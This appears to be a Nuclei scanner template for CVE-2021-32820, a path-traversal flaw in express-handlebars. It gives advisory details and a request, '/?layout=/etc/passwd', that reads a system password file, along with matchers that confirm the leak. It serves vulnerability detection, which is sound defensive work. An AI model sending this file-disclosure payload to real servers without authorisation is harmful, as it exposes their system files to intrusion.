39 lines
1.5 KiB
YAML
39 lines
1.5 KiB
YAML
id: CVE-2021-32820
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info:
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name: Express-handlebars Path Traversal
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author: dhiyaneshDk
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severity: high
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description: Express-handlebars is a Handlebars view engine for Express. Express-handlebars mixes pure template data with engine configuration options through the Express render API. More specifically, the layout
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parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be
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included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this
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potential information exposure vulnerability.
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
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- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 8.6
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cve-id: CVE-2021-32820
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cwe-id: CWE-200
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tags: cve,cve2021,expressjs,lfi,xxe
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requests:
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- method: GET
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path:
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- "{{BaseURL}}/?layout=/etc/passwd"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: regex
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regex:
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- "root:.*:0:0:"
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- "daemon:[x*]:0:0:"
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- "operator:[x*]:0:0:"
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part: body
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condition: or
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